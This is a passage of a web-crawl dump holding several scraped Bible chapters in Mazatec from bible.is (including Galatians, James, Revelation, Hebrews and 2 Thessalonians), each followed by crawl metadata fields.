na̱'yo̱ san xi si̱jiìn na̱'yo̱ i̱nchra̱jín, sísan yije‑né na̱s'ín tse ma‑ne na̱'yo̱.\" 10Jè Nainá ot'aà takoàn i̱t'aà tsa̱jòn nga mìtsà kj'ei̱í s'ín si̱kítsjeèn. Jè Nainá tsjá‑la̱ kjo̱'in ni̱ta̱ yá xi̱ta̱‑ne xi mejèn‑la̱ si̱kits'ón‑jiìn‑nò. 11Jñò ndí 'ndsè ko̱ ndí tichjaá, nga mì k'oa̱á s'ín tìhokoòya nga si̱t'aà chi̱ba̱‑la̱ xi̱ta̱ kjoa̱ ts'e̱ circuncisión, koií kjoa̱‑la̱ nga fìtji̱ngui kondra̱‑na jñà xi̱ta̱. Ta̱nga tsà mì k'oa̱s'ín okoòya, mì‑la kiì kji̱tji̱ngui kondra̱‑na, mì‑la ti̱ kiì ko̱jtikeè‑ne 'én xi chjàya i̱t'aà ts'e̱ krò‑la̱ Cristo. 12Jñà xi̱ta̱ xi mejèn‑la̱ si̱kits'ón‑jiìn‑nò, kì tà bít'aà chi̱ba̱‑la̱ yijo‑la̱, ta̱ saà jngoò k'a kàtatet'aà yijo‑la̱. 13Jñò 'ndseé ko̱ tichjaá, k'oa̱á s'ín kiìchja̱‑nò Nainá nga ki̱tsa̱jnandei̱í‑nó i̱t'aà ts'e̱ kjo̱tíxoma. Ta̱nga i̱'ndei̱ nga titsa̱jnandei̱í‑nó, kì ch'o 'nè koni s'ín mejèn‑la̱ yijo‑nò. Mochjeén‑né nga ti̱si̱ko̱ò xinguio̱o, kàtas'e‑nò kjo̱tjòcha nga ìjngoò ìjngoò‑nò. 14Nga ngats'iì kjo̱tíxoma, ya̱á majngoò yije jè xi tsò: \"Ti̱tsjachi xi̱ta̱ xingui̱i koni tsà ti̱ yijo tsi̱ji‑ne.\" 15Tsà ti̱jñò titsa̱bixkàn‑ko̱‑nò xinguio̱o koni s'ín nañá, t'e̱en kinda̱ yijo‑nò nga mì ti̱jñò si̱kjehesòn‑nò xi̱ta̱ xinguio̱o. 16K'oa̱á xan‑nò: Tjiì'nde‑là yijo‑nò nga jè Ini̱ma̱ Tsjeè‑la̱ Nainá kàtakó‑nò ndi̱yá mé‑ne nga mì koi kjoa̱ si̱kitasòn kjoa̱ch'o xi síjé yijo‑nò. 17Jñà kjoa̱ch'o xi síjé yijo‑ná kondra̱á fì‑la̱ jè Ini̱ma̱ Tsjeè‑la̱ Nainá, ko̱ jè kjoa̱ xi mejèn‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá kondra̱á fì‑la̱ jè xi mejèn‑la̱ yijo‑ná. Jñà kjoa̱ koi kondra̱á títsa̱jna‑la̱ xíkjín. K'oa̱á ma‑ne nga jñò, mìkiì k'oa̱s'ín s'e̱en koni s'ín mejèn‑nò. 18Ta̱nga tsà jè Ini̱ma̱ Tsjeè‑la̱ Nainá tíhokó‑nò ndi̱yá, mì ti̱jè kjo̱tíxoma otíxoma‑nò. 19Jyeé 'yaá mé kjoa̱ch'o xi síjé yijo‑ná koni jè kjoa̱chijngui, kjoa̱xòpa, kjoa̱chi̱nga̱, 20kjoa̱ nga xkósòn yaxkoán, kjoa̱tj'e, kjoa̱ nga majtichaá xinguia̱á, nga bixkán‑koa̱á xinguia̱á, nga machi̱ni̱chaá xinguia̱á, nga jti takoán, nga nachrjenguiaá xinguia̱á, nga xi̱ta̱ nìjòyaá ko̱ nga binchat'aàxìn‑lá xinguia̱á, 21kjoa̱xìtakòn, kjoa̱ch'i̱, ko̱ ngats'iì kjoa̱chrjá'a xi ma ñánda bitjo s'eí. Tjín ìsa̱ kjoa̱ xi kj'ei̱í, xi mangásòn‑ko̱ kjoa̱ koi. Koni s'ín kixan‑nò nga sa̱ ítjòn, tákó k'oa̱á xan‑nò skanda i̱'ndei̱, jñà xi̱ta̱ xi k'oa̱ tjín kjoa̱ xi s'ín, ni̱mé kjo̱ndaà sa̱kò‑la̱ ya̱ ñánda nga tíhotíxoma Nainá. 22Ta̱nga jñà kjo̱ndaà xi tsjá Ini̱ma̱ Tsjeè‑la̱ Nainá, jñà‑né nga tjòcha s'e̱én xinguia̱á, nga tsja s'e̱n kjit'aá, nga 'nchán si̱jchá yijo‑ná, nga s'e̱‑ná kjoa̱tsejta, nga tsjakjoa̱ s'e̱én, nga s'e̱n‑ná kjo̱ndaà xi ndaà tjín, nga kixi̱ tjín kjo̱hítsjeèn‑ná, 23nga indaàkjoa̱ s'e̱én ko̱ nga kixi̱ ko̱ti̱xoma‑lá yijo‑ná. Jñà kjoa̱ koi, tsjìn kjo̱tíxoma xi kondra̱ tíjna‑la̱. 24Jñá xi jye xi̱ta̱‑la̱ Cristo maá, ngats'iì kjo̱hítsjeèn‑ná xi ch'o tsò ko̱ xi ch'o síjé yijo‑ná, ya̱á kinìk'en‑t'aá krò‑la̱ Cristo. 25I̱'ndei̱ nga jè Ini̱ma̱ Tsjeè‑la̱ Nainá tísíkíjnakon‑ná, mochjeén‑né nga ko̱s'ín kjiaán koni s'ín okó‑ná ndi̱yá. 26Mìkiì ndaà tjín nga 'nga ko̱ma takoán, nga ti̱jñá si̱jti‑lá xinguia̱á, ko̱ nga ko̱xìtakòn‑chaá xinguia̱á.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASJV\/Gal\/5","date":"2017-09-22T07:13:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818688671.43\/warc\/CC-MAIN-20170922055805-20170922075805-00718.warc.gz","language":"maa","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"maa_Latn_score\": 1.0000077486038208}","num_words":624,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.287,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jiòn ra 'ndsé xin‑no, kì tà nga'tsì‑no nga maestro 'nià ijo‑no; nga̱ ijyeé 'ya‑nájiòn, ngaji̱n ra bakon‑ya‑ji̱n, isa̱á tse kjo̱hi'in si̱nè‑naji̱n tsa mì kì nda si̱itjasòn‑ji̱n. 2Nga'tsí‑né, kjín sko̱ya‑la̱ kjoa̱'cho ra kajieén. Tsa tjín jngo xi̱ta̱ ra ni̱mé kjoa̱'cho kàjin 'kia̱ nga chja̱, jè xi̱ta̱ ra̱kìi̱ ngi xi̱ta̱ kixi̱‑ní, ko̱ ti̱'koa̱á chíkjoa̱á‑la̱ nga ma‑la̱ si̱ìkonda̱ kóho'ki ijo‑la̱ nga mì ya̱ ska̱jin kjoa̱ ra 'cho tjín. 3'Koa̱á ngoya‑la̱ koni jngo kabàyo̱ 'kia̱ nga sí'a freno tsa'ba, chíkjoa̱ko̱‑ná nga ma basen‑jyé kóho'ki jè ijo‑la̱. 4'Koa̱á ti̱'sín tjín‑te koni 'sín nga síxá jñà chitso. Ni̱'sín 'ñó i'i kjòn, ko̱ ni̱'sín 'ñó tjín‑la̱ nga'ñó tjo̱ nga mejèn‑la̱ xìn i̱ko̱, ta i̱tsé sa̱á‑ni ki̱cha̱ ra 'mì timón ra síxáko̱‑ni xi̱ta̱ nga ma fìko̱ koni 'sín nga jè mejèn‑la̱. 5'Koa̱á ti̱'sín tjín ra a̱'ta 'tse̱ ndi̱je̱n‑ná, i̱tsé sa̱á‑ni, tanga taxki̱ maá‑la̱ kó'sín síkìchja̱‑ná ko̱ ta ya̱á si̱kítsjeén kó'sín nga tsò. Ni̱'sín ta i̱tsé sa̱a‑ni ni'í ra ko̱tse, batoó tse ijñá bakángi. 6Jè ndi̱je̱n‑ná 'koa̱á 'sín ngoya‑la̱ koni jngo ni'í; ya̱á 'ya tsjé tsje nga'tsì kjoa̱'cho ra tjín ya̱ i̱sà'nde; i̱tsé sa̱á‑ni nga kjijna'a ya̱ ndsa̱'bé, tanga maá‑la̱ tsjá 'chin‑la̱ kóho'ki ijo‑ná, 'koa̱á ngoya‑la̱ koni jngo ni'í ra tíbaká nga tíjngo kjo̱binachon‑ná skanda nga'tsì ni̱chjin nga bìtsa̱keén, ko̱ jè ni'í ra̱kìi̱ ya̱á nchrabá‑ni ñánda̱ tjín kjo̱hi'in ra mì fehe'ta. 7Jñà xi̱ta̱, maá chíkjoa̱á‑la̱ nga sí'ndé nga'tsì cho̱ ra tjín ya̱ i̱sà'nde, koni tsa jñà cho̱ ra 'ñó 'tse̱n, ko̱ jñà ra tjín‑la̱ na̱jngá, ko̱ jñà ye̱, ko̱ jñà cho̱ ra tjín ya̱ a̱ngi ndáchikon. 8Tanga ni̱jngo xi̱ta̱ ra ma‑la̱ sí'ndé ndi̱je̱n‑la̱. Nga̱ jè ndi̱je̱n‑ná jngoó kjoa̱'cho tjín‑la̱ ra mì kì tsjá'nde nga ma ma'ndé ko̱ ya̱á kitse 'chin ra koni xán‑la̱ ye̱ ra sí'ken‑ná. 9Ti̱jé‑ni ndi̱je̱n‑ná jeya níkíjna‑né Nainá ra Na̱'ìn 'mì‑lá, ko̱ ti̱jè nakjoájno‑lá xi̱ta̱ ra jè Nainá tsikínda koni 'sín 'ki ra jè. 10Ta̱ jngoó ndsa̱'bé bitjo‑ni 'én ra jeya níkíjna‑né Nainá ko̱ jè 'én 'cho ra nakjoájno‑lá xi̱ta̱. Jiòn ra ndí 'ndsé xin‑no, jñà kjoa̱ kìi̱, mì kì tjínè‑la̱ nga ko̱'sín ko̱ma. 11Jngo nga̱jo̱ ñánda̱ tíbitjo nandá, mì kì ko̱ma ti̱ya̱ ki̱tjo‑ni nandá tsje ko̱ nandá tjé. 12Jñà yá‑la̱ to igo̱, ¿a ko̱maá to‑la̱ ítjachó ko̱ja̱‑la̱? Ko̱ jè na'ñó tatséjé, ¿a ko̱maá to igo̱ ko̱ja̱‑la̱? Jiòn ra ndí 'ndsé xin‑no, 'koa̱á ti̱'sín tjín ra a̱'ta 'tse̱ nandá, mì kì ko̱ma ta̱jngo nga̱jo̱ ki̱tjo‑ni nandá tsje ko̱ nandá tjé. 13Tsa títsa̱jin i'ka‑najiòn jñà ra 'ñó chji̱ne̱ ko̱ ra 'ñó nda machi̱ya‑la̱, 'koa̱á 'sín kata'ya‑la̱ nga ndaá i̱nchisíjchá ijo‑la̱, kó'sín nga 'ndé tjín ikon a̱'ta 'tse̱ kjoa̱chji̱ne̱ ra tjín‑la̱. 14Tanga tsa ngi ta kjoa̱xìtakòn kitsejín inìma̱‑no ko̱ tsa tà jé mejèn‑no nga jiòn ki̱tsa̱hijyo ítjòn ki'ta, kì tà chjàn ko̱'sín níkítsjen nga ndaá i̱nchi'nià, kì kjoa̱ ndiso níkójiòn ko̱ kjoa̱ ra kixi̱ tjín. 15Jñà kjoa̱chji̱ne̱ kìi̱, mì tsa a̱'ta 'tse̱ Nainá nchrabá‑ni. Ta 'tse̱ i̱sà'nde‑ní, ko̱ ta kjo̱bítsjen 'tse̱ xi̱ta̱‑ní, ko̱ a̱'ta 'tse̱é xi̱ta̱‑ni̱í nchrabá‑ni. 16Ya̱ ñánda̱ nga tjín kjoa̱xìtakòn ko̱ jè kjo̱bítsjen ra ta jè mejèn‑ná nga jién ki̱tsa̱hijyo ítjén, ya̱ i̱jndáa̱ ta maskáya‑la̱ kjo̱bítsjen‑ná ko̱ ya̱á i̱jncha nga'tsì kjoa̱ ra 'cho tjín. 17Tanga jñà xi̱ta̱ ra tjín‑la̱ kjoa̱chji̱ne̱ ra a̱'ta 'tse̱ Nainá nchrabá‑ni, tsjeé síjchá ijo‑la̱, kjoa̱'nchán bátsji, kjoa̱ndaá ra 'sín, xi̱ta̱ 'ndé‑ní, tjín‑la̱ ra kjoa̱hi̱ma̱takòn, kji'tá ni̱chjin nda tjín kjoa̱ ra 'sín, xi̱ta̱ kixi̱‑ní, ko̱ mì tsa jò fì‑ni. 18Jñà xi̱ta̱ ra mejèn‑la̱ nga kjoa̱'nchán kata'se, ítjòn 'nchán bìtsa̱jnako̱ jñà xi̱ta̱ ra i'ka mé‑ni nga a̱skan‑nioo̱ ma sa̱kò‑la̱ jè kjo̱nda ra kixi̱ tjín.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASAV\/Jas\/3","date":"2017-09-23T06:02:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818689490.64\/warc\/CC-MAIN-20170923052100-20170923072100-00415.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":562,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.315,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"14Tanga ra 'a̱n, ni̱mé kjoa̱ tjín ra mejèn‑na nga a̱'ta 'tse̱ nda síkíjna‑na ijo‑na̱, ta̱jngoó a̱'ta 'tse̱ koni 'sín makjiín‑na; nga̱ ya̱á sakó kjo̱nda 'kia̱ nga makjiín‑ná nga krò 'ken'ta Jesucristo ra tíjna ítjòn‑ná. Ya̱á nchrabá‑ni nga mì ti̱ mé kinda̱ 'sin‑na jñà kjoa̱'cho ra tjín i̱ i̱sà'nde; ko̱ ra 'a̱n, mì ti̱ mé kinda̱ ma‑na ya̱ a̱jin kjoa̱'cho kìi̱.\nGálatas 6:14\nFREE!\nOne App.\n1257 Languages.","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASAV\/Gal\/6\/14","date":"2017-09-23T20:46:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818689775.73\/warc\/CC-MAIN-20170923194310-20170923214310-00618.warc.gz","language":"maa","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000051259994507}","num_words":65,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.27,"stopwords_ratio":0.277,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ìjngoò kjo̱xkón kìjtseè ján ngajmiì xi 'ñó xkón kji ko̱ 'ñó jeya ki'ya‑la̱. Itoò ma àkja̱le̱ xi itoò kjo̱'in j'iìko̱ jñà kjo̱'in xi fehet'aà‑ne nga ya̱á fehet'aà‑ne kjoa̱jti‑la̱ Nainá. 2Ti̱koa̱ kìjtseè jngoaà ndáchikon xi chi̱tsín kji; tsjájiìn ko̱ ni'ín. Ya̱ ncha kixi̱ i̱sòn ndáchikon xi chi̱tsín kji, jñà xi̱ta̱ xi jye kisìkijne i̱t'aà ts'e̱ cho̱ je xi ch'o kji ko̱ i̱sén xkósòn‑la̱, jñà xi mìkiì kitsjá'nde nga kisit'aà chi̱ba̱‑la̱, ko̱ número ts'e̱ 'ín‑la̱. Xi̱ta̱ koi kjiya tsja ní'ñó arpa xi Nainá kitsjaà‑la̱. 3Nchiseè sò‑la̱ Moisés xi chi̱'nda‑la̱ Nainá ko̱ sò‑la̱ Orrè, nchitsò: Na̱'èn xi Nainá 'mì‑lè, xi ta ji̱ ta̱ jngoò‑né xi 'ñó tse nga'ñó tjín‑lè, 'ñó jeya ko̱ 'ñó xkón tjín ngats'iì kjoa̱ xi 'nì. Xi̱ta̱ kixi̱‑né; kixi̱í tjín ndi̱yá‑lè. Ji̱í‑né xi Xi̱ta̱xá Ítjòn tìjna̱‑la̱ ngats'iì na̱xa̱ndá xi tjín i̱sò'nde. 4¿Yá xi mìkiì tsakjón‑lè Na̱'èn? ¿Yá xi mìkiì skoe̱xkón‑lè? Ta̱jngoò ngaji̱ xi xi̱ta̱ tsjiì, koií k'oa̱s'ín kjoi̱í‑ne ngats'iì na̱xa̱ndá‑la̱ i̱sò'nde nga skoe̱xkón‑lè nga jye tí'ya‑la̱ kjoa̱ kixi̱‑lè. 5K'e̱ nga jye kìjtseè kjoa̱ koi, kiskoòtsejèn nga kitáx'a̱ ján ngajmiì jè i̱'nde tsjeè‑la̱ Nainá xi tíjnaya i̱ya Ni'ya Nikje xi okó nga ya̱ tíjna Nainá. 6Itjo ya̱ i̱'nde tsjeè‑la̱ Nainá jñà àkja̱le̱ xi itoò ma‑ne xi j'iìko̱ itoò kjo̱'in. Íkjá nikje lino chroba xi 'ñó ote kjoàn; tíkjá ndáyá‑la̱ na'ñó payo̱ xi nguì oro. 7Jñà xi ñijòn ma‑ne xi títsa̱jnakon, jngoò itjojiìn xi kisìnga̱tsja nga íjngó íjngó àkja̱le̱ xi itoò ma‑ne; kitsjaà íjngó íjngó‑la̱ chi̱tsín xi nguì oro xi ya̱ tjíya kjo̱'in ts'e̱ kjoa̱jti‑la̱ Nainá xi tíjnakon ni̱ta̱ mé na̱chrjein‑ne. 8Ya̱ i̱ya i̱'nde tsjeè‑la̱ Nainá, kitseè ni̱'ndi̱ xi ya̱ inchrobà‑ne i̱t'aà ts'e̱ kjoa̱jeya‑la̱ Nainá ko̱ nga'ñó xi tjín‑la̱. Ni̱yá xi kitjò'nde‑la̱ nga jahas'en ya̱ i̱'nde tsjeè‑la̱ Nainá skanda k'e̱ nga jye tsitasòn yije jñà kjo̱'in xi itoò ma‑ne xi j'iìko̱ jñà àkja̱le̱ xi itoò ma‑ne.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/15","date":"2017-09-24T14:19:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818690029.51\/warc\/CC-MAIN-20170924134120-20170924154120-00458.warc.gz","language":"maa","language_score":0.9999935627,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 0.9999935626983643}","num_words":296,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.307,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngats'iì jñà no̱'miì ítjòn, ya̱á tjaájiìn i̱t'aà ts'e̱ xi̱ta̱ na̱xa̱ndá. Jè xá tjínè‑la̱ nga chja̱tjì xi̱ta̱ nga nguixko̱n Nainá ti̱koa̱ tsját'aà‑la̱ kjo̱tjò Nainá ko̱ sík'en cho̱ xi kjoa̱ ts'e̱ jé‑la̱ xi̱ta̱. 2Jñà no̱'miì, ti̱koa̱á mahindaàjiìn ini̱ma̱‑la̱; k'oa̱á s'ín ma‑ne nga ma beèhi̱ma̱ jñà xi̱ta̱ xi mìkiì machi̱ya‑la̱ ko̱ xi xìn ndi̱yá tjímaya. 3Koií kjoa̱‑la̱ nga ma indaàjiìn ini̱ma̱‑la̱ no̱'miì, tjínè‑la̱ nga si̱ìk'en‑la̱ cho̱ kjo̱tjò xi tsjá‑la̱ Nainá xi kjoa̱ ts'e̱ jé‑la̱ ko̱ ti̱koa̱ si̱ìk'en cho̱ kjoa̱ ts'e̱ jé‑la̱ na̱xa̱ndá. 4Jñà no̱'miì, mìtsà tà jñà ta̱jngoò bít'aà xá 'nga yijo‑la̱; jè Nainá xó chja̱‑la̱ koni s'ín kiìchja̱‑la̱ jè Aarón. 5K'oa̱á ti̱s'ín tjín i̱t'aà ts'e̱ Cristo, mìtsà tà jè ta̱jngoò kiskoé xá xi ts'e̱ no̱'miì ítjòn, Nainá kitsjaà‑la̱ xá 'nga k'e̱ nga kitsò‑la̱: Ji̱‑né xi Ki'ndí‑na̱ xan‑lè; 'a̱án‑ná xi Na̱'èn‑lè. 6Ti̱jè‑ne Xo̱jo̱n‑la̱ Nainá, ìjngoò k'a tíchja̱ ñánda tsò: Ji̱‑né xi no̱'miì tijni ni̱ta̱ mé na̱chrjein‑ne, xá‑lè, k'oa̱á s'ín tjín koni xá xi kisìkitasòn Melquisedec. 7Jè Cristo k'e̱ nga sa̱ tsibìjna i̱ i̱sò'nde, 'ñó kiìchja̱t'aà‑la̱ Nainá, nguì ko̱ó ndáxko̱n tsibítsi'ba‑la̱ koa̱ kisìjét'aà‑la̱ jè xi tjín‑la̱ nga'ñó nga ma‑la̱ ko̱chrjekátjì i̱t'aà ts'e̱ kjoa̱ biyaà; Nainá kiì'nchré‑la̱ nga ndaà kijtseèxkón. 8Jè Cristo, na̱s'ín ki'ndí‑la̱ Nainá ma, ya̱á komà‑la̱ kisìkitasòn, k'e̱ nga kisìkjeiín kjo̱'in. 9K'e̱ nga jye mì ti̱ mé xi kichijàt'aà‑la̱, k'oa̱á s'ín tsibìjna nga jè ko̱chrjekátjì kjo̱'in xi̱ta̱ ni̱ta̱ mé na̱chrjein‑ne, ngats'iì xi 'nchréñijon‑la̱, 10Nainá kisìkíjna Jesús nga no̱'miì ítjòn tsibìjna, kitsjaà‑la̱ xá koni ts'e̱ Melquisedec. 11I̱t'aà ts'e̱ kjoa̱ koi, 'ñó tjín‑ìsa kjoa̱ xi s'e̱no̱jmíya‑nò, ta̱nga 'ñó chjá tjín nga s'e̱no̱jmí‑nò, koi kjoa̱‑la̱ nga jñò, mìkiì machi̱ya‑nò. 12Jñò, skanda kjòtseé maestroó‑là titsa̱jnaà tsà ndaà; ta̱nga jñò, tákó mochjeén‑nò nga chíta'yà xi̱tse̱ ìjngoò k'a 'én‑la̱ Nainá xi mì 'in chja̱ koni s'ín komà‑nò nga sa̱ ítjòn. K'oa̱á s'ín tímat'ioòn koni ndí i̱xti xi tákó tsjín 'biì, mìkiì mochjeén‑la̱ nga tsojmì tájaà ski̱ne̱. 13Ngats'iì xi tákó tsjín 'biì, i̱xti‑né, mìkiì machi̱ya‑la̱ mé kjoa̱ xi kixi̱ tjín. 14Ta̱nga jñà tsojmì xi ma chine xi tájaà kjoàn, ts'e̱é xi̱ta̱ xi jye kòjchínga, jñà xi jye machi̱ya‑la̱ mé kjoa̱ xi ndaà tjín ko̱ mé kjoa̱ xi mìkiì ndaà tjín nga k'oa̱á s'ín nchisíjchá yijo‑la̱.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASJV\/Heb\/5","date":"2017-09-24T01:47:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818689823.92\/warc\/CC-MAIN-20170924010628-20170924030628-00593.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":347,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ra fehe'ta‑ni, jiòn ndí 'ndsé ko̱ ndí tichjeé, titsa'batjì‑náji̱n mé‑ni nga jè 'én‑la̱ Nainá ndi̱to̱n katamabísòn‑ni, ti̱'koa̱á nda kata'yaxkón koni 'sín kjomà ya̱ a̱'ta tsa̱jiòn. 2Ti̱'koa̱á titsa'batjì‑náji̱n mé‑ni nga jè Na̱'ín‑ná katabasìko̱‑naji̱n nga mì jñà xi̱ta̱ 'cho ra mì kì nda tjín kjo̱bítsjen‑la̱ ske̱ton‑naji̱n; nga̱ mì tsa ta nga'tsì xi̱ta̱ makjiín‑la̱. 3Tanga jè Na̱'ín‑ná síhitjasòn ki'tá‑ní koni 'sín nga tsò ra jè, ko̱ jé tsjá nga'ñó‑najiòn nga kixi̱ ki̱ncha ko̱ nga si̱ìkinda̱‑no ra a̱'ta 'tse̱ xi̱ta̱‑ni̱í. 4'Koa̱á 'sín 'ñó tjín takòn‑ji̱n ra a̱'ta 'tse̱ Na̱'ín‑ná, nga 'koa̱á 'sín ijye i̱nchi'nià jiòn ko̱ 'koa̱á 'sín 'sia̱an‑isa jiòn koni 'sín i̱nchibi'tin‑laji̱n. 5Jè Na̱'ín‑ná katasiko̱‑no nga ko̱'sín kata'se‑no kjo̱tsjacha koni 'sín tjín‑la̱ kjo̱tsjacha Nainá; ko̱ nga ko̱'sín katachíkjoa̱ko̱‑no kjo̱hi'in koni 'sín ichìkjoa̱ko̱‑la̱ Cristo. 6Jiòn ndí 'ndsé ko̱ ndí tichjeé, 'koa̱á 'sín bi'tin‑laji̱n a̱'ta 'tse̱ Jesucristo ra tíjna ítjòn‑ná, nga kì ya̱ níngásòn‑ko̱o jñà xi̱ta̱ 'ndsé ko̱ tichjeé ra majìn‑la̱ síxá; jñà ra mì tsa ko̱'sín i̱nchi'sín koni 'sín tjín kjoa̱kixi̱ ra ji̱n tsakon‑ya‑laji̱n. 7Jiòn, ijyeé nda tjíjin‑no kó'sín nga machjeén nga chjíngí‑náji̱n, nga̱ mì tsa ta jyò tsikitsa̱jna‑ji̱n 'kia̱ nga ya̱ tsikitsa̱jnako̱‑laji̱n. 8Mì tsa ta tsichi kjo̱tjò‑ji̱n ra a̱'ta tsa̱jiòn. 'Ñó iníxá‑ji̱n nga ko̱ ni̱chjin ko̱ ni̱tje̱n inìkijtà‑ji̱n ijo‑na̱ji̱n, mé‑ni nga mì jiòn kjòhi'in‑no. 9Mì tsa tsò‑ni kjoa̱ nga mì kì tjí'nde‑naji̱n nga si̱jé‑laji̱n tsajmì ra machjeén‑naji̱n; kií ko̱'sín ki'nià‑naji̱n nga jngo xkósòn tsikijna‑laji̱n, mé‑ni nga ko̱'sín 'sia̱an‑te ra jiòn. 10'Kia̱ nga ya̱ tsikitsa̱jnako̱‑laji̱n, skanda 'koa̱á 'sín tsiki'tin‑laji̱n nga jè ra majìn‑la̱ síxá, ti̱'koa̱á mì kì tjí'nde‑la̱ nga ko̱kje̱n. 11Nga̱ 'koa̱á 'sín na'yá‑ji̱n ra a̱'ta tsa̱jiòn, nga tjítsa̱jnajiín i'ka‑najiòn ra mì tsa kixi̱ tjíma; jè ra mì mé xá 'sín, nga ta ya̱á fajin fa'a ya̱ ñánda̱ nga mì tsa ya̱ bako̱‑la̱. 12Jñà xi̱ta̱ ra ko̱'sín i̱nchi'sín, 'koa̱á 'sín bi'tin‑ji̱n ko̱ 'bì‑la̱ji̱n 'én ra a̱'ta 'tse̱ Jesucristo ra tíjna ítjòn‑ná, nga 'ñó katasíxá nga katabínè‑la̱ xá ijo‑la̱ mé‑ni nga ko̱'sín koa̱àtsji'a‑ni ijo‑la̱. 13Ko̱ ra jiòn‑jiòn 'ndsé ko̱ tichjeé, kì mì'on‑no nga nihitjasòn kjoa̱ ra nda tjióo̱n. 14Tsa tjín i'ka ra mì kì 'nchréhijon koni 'sín tsò xa̱jo̱n ra i̱nchinìkasén‑laji̱n, ti'ta xkòn yá‑ní, ko̱ kì tà chjàn ya̱ níngásòn‑ko̱o mé‑ni nga katasabà‑la̱. 15Tanga kì tà chjàn kondra̱ mangí‑la, ta isa̱á jnchro tiyachi̱ya‑la koni 'sín nga 'ndsé 'mì‑la. 16Ko̱ jè sabá Na̱'ín‑ná ra tsjá kjo̱'nchán, jè katatsjá ki'ta‑no kjo̱'nchán ra ta mé kjoa̱‑isa‑ni. Jè Na̱'ín‑ná nda katijnako̱‑no nga'tsì‑no. 17'A̱n ra 'mì‑na Pablo, ngi jè sabá ndsa̱ tíbindá‑na ñánda̱ nga fehe'ta‑ni xa̱jo̱n ra̱kìi̱ nga tísixó'tà‑no. 'Koa̱á 'sín 'ya‑la̱ xa̱jo̱n ra 'a̱n sikásée̱n, 'koa̱á 'sín kjòn letra ra 'a̱n bindáa̱. 18Ko̱'sín katatsjá‑no kjo̱nda‑la̱ Jesucristo ra tíjna ítjòn‑ná.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASAV\/2Thess\/3","date":"2017-09-21T02:29:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818687592.20\/warc\/CC-MAIN-20170921011035-20170921031035-00500.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":422,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.313,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ti̱jñà‑ne na̱chrjein koi, ijchò xi̱ta̱ xi tsibéno̱jmí‑la̱ Jesús nga jè Pilato tsatíxá‑la̱ xi̱ta̱ nga ta̱ña kisìk'en‑kjoò cho̱ ko̱ xi̱ta̱ Galilea k'e̱ nga nchitsjá‑la̱ kjo̱tjò Nainá. Kisìkátjijiìn jní‑la̱ cho̱ ko̱ ts'e̱ xi̱ta̱. 2Kiìchja̱ Jesús, kitsò: ―Jñò, ¿a k'oa̱á s'ín nìkítsjeèn nga ìsa̱á tse jé tjín‑la̱ jñà xi̱ta̱ Galilea nga k'oa̱s'ín komàt'in? 3Majìn, xán‑nò; tsà mìkiì si̱kájnoò jé‑nò nga mì ti̱ jé ki̱nchátsji‑nò, jñò, ki̱yá yije‑nò. 4K'e̱ nga k'en jñà xi̱ta̱ xi chrj'oòn jàn ma‑ne xi kiskaànè chrjó ts'e̱ torre Siloé, ¿a k'oa̱á s'ín nìkítsjeèn nga ìsa̱á tse jé tjín‑la̱ xi̱ta̱ koi nga ko̱s'ín komàt'in, mì k'oa̱‑ne koni ngats'iì xi̱ta̱ xi tjín ján Jerusalén? 5Majìn, xán‑nò; tsà mìkiì si̱kájnoò jé‑nò nga mì ti̱ jé ki̱nchátsji‑nò, jñò, ti̱koa̱á ki̱yá 